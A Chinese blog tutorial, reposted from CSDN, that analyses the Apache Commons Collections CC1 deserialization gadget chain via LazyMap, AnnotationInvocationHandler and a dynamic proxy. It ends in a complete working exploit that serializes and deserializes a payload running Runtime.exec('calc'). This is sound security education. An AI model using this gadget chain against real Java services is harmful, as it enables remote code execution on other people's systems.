0


Java安全 CC链1分析(Lazymap类)

Java安全 CC链1分析

前言

在看这篇文章前,可以看下我的上一篇文章,了解下cc链1的核心与环境配置

Java安全 CC链1分析

前面我们已经讲过了CC链1的核心ChainedTransformer的transform链,并且用到了TransformedMap类中的方法触发了这条链transform的方法,但是还有一条链可以触发其transform方法,这条链用到了 LazyMap类

这条链用到了大量的反射与代理的知识,建议在看本文章前需要提前补充或复习

CC链分析

CC链1核心

首先我们回顾下cc链1的核心

packageorg.example;importorg.apache.commons.collections.Transformer;importorg.apache.commons.collections.functors.ChainedTransformer;importorg.apache.commons.collections.functors.ConstantTransformer;importorg.apache.commons.collections.functors.InvokerTransformer;publicclass demo1{publicstaticvoidmain(String[] args)throwsException{//transformers: 一个transformer链,包含各类transformer对象(预设转化逻辑)的转化数组Transformer[] transformers =newTransformer[]{newConstantTransformer(Runtime.class),newInvokerTransformer("getMethod",newClass[]{String.class,Class[].class},newObject[]{"getRuntime",newClass[0]}),newInvokerTransformer("invoke",newClass[]{Object.class,Object[].class},newObject[]{null,newObject[0]}),newInvokerTransformer("exec",newClass[]{String.class},newObject[]{"calc"})};//transformedChain: ChainedTransformer类对象,传入transformers数组,可以按照transformers数组的逻辑执行转化操作ChainedTransformer transformerChain =newChainedTransformer(transformers);
        transformerChain.transform(1);//完全的cc1需要找到哪里可调用transform方法}}

我们接下来的目标就是想法设法调用以上代码中 transformerChain 对象的 transform 方法,从而遍历循环直到命令执行。

LazyMap类

我们首先还是选中 transform 方法,右键选择查找用法

这次我们来到了 LazyMap 类当中的 get 方法
1707649096767.png
LazyMap类中的get方法的代码如下

publicObjectget(Object key){// create value for key if key is not currently in the mapif(map.containsKey(key)==false){Object value = factory.transform(key);//关键
            map.put(key, value);return value;}return map.get(key);}

经分析得,当满足

map.containsKey(key) == false

时,便会执行

factory对象

transform方法

要想满足该语句,我们传入一个map数组中不存在的key键名即可

接下来我们看下 LazyMap 类的构造方法如下

protectedLazyMap(Map map,Transformer factory){super(map);if(factory ==null){thrownewIllegalArgumentException("Factory must not be null");}this.factory = factory;}

发现

get 方法

中的

factory 变量

是可控的,可以赋值为上文的

transformerChain 对象

(cc链1核心),但是该构造方法是受保护的类型,并不能直接调用创建对象

然后我们往上找到了

decorate

方法,代码如下

publicstaticMapdecorate(Map map,Transformer factory){returnnewLazyMap(map, factory);}

发现可以通过调用这个静态方法,获得一个 LazyMap 对象,并且 mapfactory 参数可控,这样如何获取 LazyMap 对象的问题便得到解决

我们先写一个demo试试这里的

get方法

是否真的可以触发cc链1

packageorg.example;importorg.apache.commons.collections.Transformer;importorg.apache.commons.collections.functors.ChainedTransformer;importorg.apache.commons.collections.functors.ConstantTransformer;importorg.apache.commons.collections.functors.InvokerTransformer;importorg.apache.commons.collections.map.LazyMap;importjava.util.HashMap;importjava.util.Map;publicclass main2{publicstaticvoidmain(String[] args)throwsException{//transformers: 一个transformer链,包含各类transformer对象(预设转化逻辑)的转化数组Transformer[] transformers =newTransformer[]{newConstantTransformer(Runtime.class),newInvokerTransformer("getMethod",newClass[]{String.class,Class[].class},newObject[]{"getRuntime",null}),newInvokerTransformer("invoke",newClass[]{Object.class,Object[].class},newObject[]{null,null}),newInvokerTransformer("exec",newClass[]{String.class},newObject[]{"calc"})};ChainedTransformer chainedTransformer =newChainedTransformer(transformers);HashMap<Object,Object> hash =newHashMap<>();Map decorate =LazyMap.decorate(hash, chainedTransformer);
        decorate.get("key");}}

可以看到demo成功运行弹出计算器

1707649176962.png

AnnotationInvocationHandler类

接下来我们寻找如何触发 LazyMap 对象的get方法,我们同样右键查看用法,可以看到结果有很多,为了节约时间我们直接来到

AnnotationInvocationHandler类

路径如下

外部库 -> jdk1.8_65 -> rt.jar -> sun -> reflect -> annotation -> AnnotationInvocationHandler类

1707649207381.png

AnnotationInvocationHandler类

在 TransformedMap类所触发的cc链1中用到过,这里我们用到其

invoke 方法

,该方法关键代码如下

publicObjectinvoke(Object proxy,Method method,Object[] args){String member = method.getName();Class<?>[] paramTypes = method.getParameterTypes();if(member.equals("equals")&& paramTypes.length ==1&& paramTypes[0]==Object.class)returnequalsImpl(args[0]);if(paramTypes.length !=0)thrownewAssertionError("Too many parameters for an annotation method");switch(member){case"toString":returntoStringImpl();case"hashCode":returnhashCodeImpl();case"annotationType":return type;}// Handle annotation member accessorsObject result = memberValues.get(member);

经分析,我们需要满足前两条 if 语句,才会触发

memberValues 对象

get方法

,否则会提前返回值

第一个if:

if(member.equals("equals")&& paramTypes.length ==1&& paramTypes[0]==Object.class)

我们调用方法的名字不为 equals即可绕过

第二个if:

if(paramTypes.length !=0)

我们无参调用方法即可绕过

接下来我们分析如何将

LazyMap对象

赋值给该类的

memberValues变量

,我们查看构造方法,发现该方法是私有的,我们无法调用

AnnotationInvocationHandler(Class<?extendsAnnotation> type,Map<String,Object> memberValues){Class<?>[] superInterfaces = type.getInterfaces();if(!type.isAnnotation()||
            superInterfaces.length !=1||
            superInterfaces[0]!=java.lang.annotation.Annotation.class)thrownewAnnotationFormatError("Attempt to create proxy for a non-annotation type.");this.type = type;this.memberValues = memberValues;}

然后我们看一下

invoke方法

所属类的定义,如下:

classAnnotationInvocationHandlerimplementsInvocationHandler,Serializable{
    ……
}

发现这个类接口了 InvocationHandler,代表该类可以作为动态代理的代理处理器,只要接口了InvocationHandler接口,就必须重写****invoke 方法,并且调用使用该代理处理器代理对象方法之前会自动执行该 invoke方法。

也就是说我们只需要创建一个 代理对象,通过反射让其代理处理器为

AnnotationInvocationHandler类

,然后无参调用代理对象的任意方法,即可触发invoke方法

在Java的动态代理机制中,在执行代理对象中的方法之前,会自动执行其代理处理器中的invoke方法

这样触发 invoke 方法的问题便解决了,接下来我们只需创建一个使用

AnnotationInvocationHandler类

作为处理器的代理对象,并无参调用该代理对象中的方法即可,创建代理对象代码如下

Map proxyInstance =(Map)Proxy.newProxyInstance(LazyMap.class.getClassLoader(),newClass[]{Map.class}, instance);

接下来便是要解决——如何无参调用

proxyInstance代理对象

中的方法

这里实际上只要是找到无参调用对象中方法的地方即可,不限制在哪个类,但终点要为readObject方法

然后我们就近在这个类中,寻找一个无参调用

memberValues中方法

的方法,我们往下找到了

readObject方法

,其所用到的关键代码,还是和TransformedMap类所触发的cc链1中一样,为下面的for循环

找到readObject方法也就意味着找到了cc链1的起点

for(Map.Entry<String,Object> memberValue : memberValues.entrySet()){String name = memberValue.getKey();Class<?> memberType = memberTypes.get(name);if(memberType !=null){// i.e. member still existsObject value = memberValue.getValue();if(!(memberType.isInstance(value)||
                      value instanceofExceptionProxy)){
                    memberValue.setValue(newAnnotationTypeMismatchExceptionProxy(
                            value.getClass()+"["+ value +"]").setMember(
                                annotationType.members().get(name)));}}}

我们发现for循环中的该语句可实现对

memberValues变量

中的方法实现无参调用

for(Map.Entry<String,Object> memberValue : memberValues.entrySet())

但是我们发现

AnnotationInvocationHandler类

是私有的,我们可以通过反射获取构造方法进而初始化,然后构造函数的

memberValue变量值

设置为我们的代理对象即可

整理下思路 我们先用

AnnotationInvocationHandler类

作为代理处理器创建了一个代理对象

proxyInstance

,然后又通过反射创建了一个

AnnotationInvocationHandler对象

,并将成员属性设置为代理对象

proxyInstance

,目的是为了在

AnnotationInvocationHandler对象

中的

readObject方法

里面对代理对象

proxyInstance

memberValues变量

)实现无参调用,从而触发代理处理器

AnnotationInvocationHandler类

中的

invoke方法

,进而触发

get方法

,最后触发

transform方法

,从而实现cc链1

完整exp:

cc链1(Lazymap)完整exp:

importorg.apache.commons.collections.Transformer;importorg.apache.commons.collections.functors.ChainedTransformer;importorg.apache.commons.collections.functors.ConstantTransformer;importorg.apache.commons.collections.functors.InvokerTransformer;importorg.apache.commons.collections.map.LazyMap;importjava.io.IOException;importjava.io.ObjectInputStream;importjava.io.ObjectOutputStream;importjava.lang.reflect.Constructor;importjava.lang.reflect.InvocationHandler;importjava.lang.reflect.InvocationTargetException;importjava.lang.reflect.Proxy;importjava.nio.file.Files;importjava.nio.file.Paths;importjava.util.HashMap;importjava.util.Map;publicclass cc11 {publicstaticvoidmain(String[] args)throwsIOException,NoSuchMethodException,InvocationTargetException,IllegalAccessException,ClassNotFoundException,InstantiationException{//定义一系列Transformer对象,组成一个变换链Transformer[] transformers =newTransformer[]{//返回Runtime.classnewConstantTransformer(Runtime.class),//通过反射调用getRuntime()方法获取Runtime对象newInvokerTransformer("getMethod",newClass[]{String.class,Class[].class},newObject[]{"getRuntime",null}),//通过反射调用invoke()方法newInvokerTransformer("invoke",newClass[]{Object.class,Object[].class},newObject[]{null,null}),//通过反射调用exec()方法启动计算器newInvokerTransformer("exec",newClass[]{String.class},newObject[]{"calc"})};//将多个Transformer对象组合成一个链ChainedTransformer chainedTransformer =newChainedTransformer(transformers);HashMap<Object,Object> hash =newHashMap<>();//使用chainedTransformer装饰HashMap生成新的MapMap decorate =LazyMap.decorate(hash, chainedTransformer);//通过反射获取AnnotationInvocationHandler类的构造方法Class c =Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor constructor = c.getDeclaredConstructor(Class.class,Map.class);//设置构造方法为可访问的
        constructor.setAccessible(true);//通过反射创建 Override 类的代理对象 instance,并设置其调用会委托给 decorate 对象InvocationHandler instance =(InvocationHandler) constructor.newInstance(Override.class, decorate);//创建Map接口的代理对象proxyInstance,并设置其调用处理器为instanceMap proxyInstance =(Map)Proxy.newProxyInstance(LazyMap.class.getClassLoader(),newClass[]{Map.class}, instance);//再次通过反射创建代理对象Object o = constructor.newInstance(Override.class, proxyInstance);serialize(o);unserialize("1.bin");}publicstaticvoidserialize(Object obj)throwsIOException{ObjectOutputStream out =newObjectOutputStream(Files.newOutputStream(Paths.get("1.bin")));
        out.writeObject(obj);}publicstaticvoidunserialize(String filename)throwsIOException,ClassNotFoundException{ObjectInputStream out =newObjectInputStream(Files.newInputStream(Paths.get(filename)));
        out.readObject();}}

运行成功弹出计算器
1707649289145.png


本文转载自: https://blog.csdn.net/Elite__zhb/article/details/136097084
版权归原作者 Elitewa 所有, 如有侵权,请联系我们删除。

“Java安全 CC链1分析(Lazymap类)”的评论:

还没有评论